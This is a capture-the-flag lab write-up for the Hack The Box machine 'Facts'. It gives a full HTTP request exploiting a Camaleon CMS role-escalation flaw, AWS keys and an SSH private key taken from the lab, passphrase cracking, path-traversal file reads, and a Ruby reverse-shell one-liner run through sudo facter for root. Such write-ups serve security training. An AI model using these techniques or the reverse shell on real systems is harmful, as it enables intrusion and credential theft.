Facts

Facts Machine Icon
Difficulty Easy
OS Linux
Platform Hack The Box
IP Address 10.129.31.229
← All Writeups

Summary

Machine Overview

Facts is an easy Linux machine that focuses on web application enumeration. Initial access is gained by exploiting a vulnerable web service, and full system compromise is achieved through a misconfigured sudo permission.

Pentesting Process

Service Enumeration

The assessment begins with a comprehensive service enumeration using Nmap in order to identify exposed services and their versions.

nmap -sC -sV 10.129.31.229

The scan reveals two accessible services:

              
Nmap scan report for 10.129.31.229
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
            

The web server redirects traffic to the virtual host facts.htb, which was added to the local /etc/hosts file to enable proper interaction.

echo "10.129.31.229 facts.htb" >> /etc/hosts

Web Enumeration

The website is a community forum for facts enthusiasts.

Main Page

We use FFUF to enumerate the website’s subdirectories:

ffuf -w /snap/seclists/current/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://facts.htb/FUZZ -e php,txt,html -fs 11060

We identified the following subdirectories:

              

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/FUZZ
 :: Wordlist         : FUZZ: /snap/seclists/current/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Extensions       : php txt html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 11060
________________________________________________

index                   [Status: 200, Size: 11075, Words: 1328, Lines: 125]
search                  [Status: 200, Size: 19102, Words: 3276, Lines: 272]
rss                     [Status: 200, Size: 183, Words: 20, Lines: 9]
sitemap                 [Status: 200, Size: 3508, Words: 424, Lines: 130]
en                      [Status: 200, Size: 11071, Words: 1328, Lines: 125]
page                    [Status: 200, Size: 19508, Words: 3296, Lines: 282]
welcome                 [Status: 200, Size: 11922, Words: 1481, Lines: 130]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1]
post                    [Status: 200, Size: 11270, Words: 1414, Lines: 152]
            

We identified an admin pannel at admin.php, which redirects to a login page where we can register a new user.

Admin Page

We registered a new user and logged in. The assigned role is client, which has limited privileges.

Privilege Escalation (Web)

The website footer indicates that the application is powered by Camaleon CMS version 2.9.0. Camaleon CMS

A privilege escalation vulnerability CVE-2025-2304 affects Camaleon CMS 2.9.0 due to insecure parameter handling in the updated_ajax method of the UsersController. The issue originates from the use of the dangerous permit! method, which allows all parameters to pass through without proper filtering.

Since no exploit was publicly available, we relied solely on the official patch diff between versions 2.9.0 and 2.9.1 on GitHub [1]

By reviewing the patch, we determined that the vulnerability was related to the password change functionality.

Analyzing the Password Change Process

To change a password, a user navigates to: http://facts.htb/admin/profile/edit

The page contains two distinct forms:

  1. A form for updating user profile information (first name, last name, email, etc.).
  2. A second form responsible for updating the user’s password.

The password form sends a POST request to:/admin/users/5/updated_ajax, with parameters structured as password[password] and password[password_confirmation].

Identifying the Vulnerability

According to the patch analysis, the server does not properly filter parameters inside the password[] object.

Because of the use of permit!, any additional parameter inside password[] is accepted and processed.

In other words, if the server receives password[key]=value, it blindly updates the attribute key with value.

This behavior allows an attacker to modify attributes that were never intended to be changed through this endpoint.

Exploitation

We intercepted the legitimate password change request and modified it by adding password[role]=admin

The final request looked like this:

        
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: j77KaJf-ymn_-PYf3q32aKjiT5P-UWq7KCdza6pv967cmv9mi2_ajavuZtzgHFpaO0mFa7PKfIU-KXdxQylllA
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=28G79I5MFIYKQ0Kv5a%2BQB3isfeTVYFij7rEYuI02QkddU2g5JXp5TdPFxI12ukNB9uc2XP2j09JuXiVEhQz7qHhmryy%2B1yc6HFNoFWiLjUbZRBnhBxCshN%2FcbaW0H%2Fs77ruDSUUGwG18ayMV52Th3eH%2BiD4og%2BXoihX0z9%2BtuaNY0xEnNhdJw8rZ82KswFkae%2FjbeChnArOMWJAgs8Z3EavmiT%2B2PJE6%2BfxMj%2BSHEJykrwZpHNfnz7TdcKSkoR8dgHKeJ8blY56aF5B4fbWNMi2fQ503kA1%2BVeacf8RZDdI9tGvcyvfLo%2BZKFKv0MogZcKEB4eg0Nv4JrNM8tg2Hvgt8F0JvHZApH5tq9LkFm0P77WszDemQqs5c0uPzsz2Odg%3D%3D--cnyumTb3Jv1%2F4uYE--9chkInhJ7cq62PYrzcmSJA%3D%3D; auth_token=RdPxWJuC94pVv9fgtB1mmA&Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A147.0%29+Gecko%2F20100101+Firefox%2F147.0&10.10.15.190
Priority: u=0

_method=patch&authenticity_token=j77KaJf-ymn_-PYf3q32aKjiT5P-UWq7KCdza6pv967cmv9mi2_ajavuZtzgHFpaO0mFa7PKfIU-KXdxQylllA&password%5Bpassword%5D=user&password%5Bpassword_confirmation%5D=user&password%5Brole%5D=admin
      

Since the server does not validate which attributes are allowed inside password[], it processed the role parameter as well.

As a result, our user was promoted to Administrator.

Escalated Privileges

AWS S3 Enumeration

In the settings page, we found information related to an AWS S3 bucket hosted on the machine, including its access key and secret key.

AWS Keys

We configure AWS CLI to access the S3 bucket.

aws configure

        
AWS Access Key ID : AKIAAACEAD8AD73C2F81
AWS Secret Access Key : pwi4oTdMPFHZljzC8YbgfqpDjIKKvgYysXAm/8Zy
Default region name : us-east-1
Default output format : json
      

We list the files in the bucket:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://

The bucket contains two folders: randomfacts, which stores images, and internal, which contains sensitive data, including a .ssh directory that holds an SSH private key.

We retreive the content of the internal folder:

aws --endpoint-url http://facts.htb:54321 s3 sync s3://internal ./internal

The retreived SSH private key is:

        
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCmLaQvRQ
RfXP/pDq514dOZAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIBmhNuhDBRGVAmme
COcCq4yhKfwXhniBPtk3eiuEq64KAAAAoPzXtrRpzU5FVl9ctjqB6ZDPdGPcMq/hEjpu1R
mqreVSQdaGq9ARE+Vrk8VM2fa11BXZ1R1DmLl4jaFv4Zad5het16U/IHOWtxAlrbaFOgYk
jN/ieYDxBu6JV+vMaWWvhds1rbHZ9782QjWyYPbSBQqldXZfZbVeLICvGlFpdWzn0x+23K
Eb8ahLB/xUe+bo9aJOCyl9baTqDiRulU3O7k0=
-----END OPENSSH PRIVATE KEY-----
      

Crack SSH Key

We didn’t know which user the private key belonged to, so we tried to use the usernames mentioned on the website. We quickly realized the key was encrypted with a passphrase.

chmod 600 id_ed25519 && ssh -i id_ed25519 carol@facts.htb

        
Enter passphrase for key 'id_ed25519':
      

To crack the passphrase, we first extracted the hash from the private key using the ssh2john script.

python3 ssh2john.py ./internal/.ssh/id_ed25519 > hash.txt

The extracted hash is shown below:

        
id_ed25519:$sshng$6$16$a62da42f45045f5cffe90eae75e1d399$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010a62da42f45045f5cffe90eae75e1d3990000001800000001000000330000000b7373682d656432353531390000002019a136e84305119502699e08e702ab8ca129fc178678813ed9377a2b84abae0a000000a0fcd7b6b469cd4e45565f5cb63a81e990cf7463dc32afe1123a6ed519aaade55241d686abd01113e56b93c54cd9f6b5d415d9d51d4398b9788da16fe1969de617add7a53f207396b71025adb6853a06248cdfe27980f106ee8957ebcc6965af85db35adb1d9f7bf364235b260f6d2050aa575765f65b55e2c80af1a5169756ce7d31fb6dca11bf1a84b07fc547be6e8f5a24e0b297d6da4ea0e246e954dceee4d$24$130
      

We used John the Ripper to crack the hash.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

The recovered passphrase was: dragonballz

        
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 20 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
dragonballz      (id_ed25519)
      

User Identification

Next, we attempted to determine which user the private key belonged to.

During our research, we found the path traversal vulnerability CVE-2024-46987 [2], which affects previous versions of Camaleon CMS than the one used on the target. Although the target server was not technically vulnerable to this CVE, we were still able to exploit it and retrieve server-side files.

Update: This behaviour is due to a recently discovered vulnerability affecting the version of Camaleon CMS used on the target machine. The vulnerability is identified as CVE-2026-1776 and is related to the AWS S3 uploader implementation, representing a bypass of the previous fix for CVE-2024-46987.[5]

We successfully retrieved the /etc/passwd file from the server.

/etc/passwd file

We identified a user named Trivia, who appears to be the owner of the SSH private key. Using the previously discovered file disclosure technique, we retrieved the user’s SSH files to confirm this.

SSH Private Key

Initial Access

Using the recovered SSH key, we logged in as Trivia.

Privilege Escalation (System)

We checked Trivia’s sudo privileges.

sudo -l


Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
      

Trivia can run Facter [3] as root.

According to GTFOBins, facter allows executing Ruby scripts. We only need to specify the directory where the Ruby file is located using the --custom-dir parameter [4].

We created a Ruby script that spawns a reverse shell and placed it inside a custom directory.

mkdir -p /tmp/exploit echo 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("OUR_IP_ADDRESS",4444))'> /tmp/exploit/shell.rb

We ran facter as root with --custom-dir pointing to the directory containing the malicious Ruby script.

sudo facter --custom-dir /tmp/exploit

As a result, we received a root reverse shell from the target machine.

Root Access

Mitigation

Remediation

The following remediation steps can help prevent exploitation of the identified vulnerabilities:

References

References

  1. [1] GitHub | Camaleon CMS changes
  2. [2] Strobes | CVE-2024-46987
  3. [3] Arch Linux | Facter
  4. [4] GTFOBins | Facter
  5. [5] GitHub | CVE-2026-1776 - Path Traversal through AWS S3 uploader implementation

Proof of Completion

Proof of Completion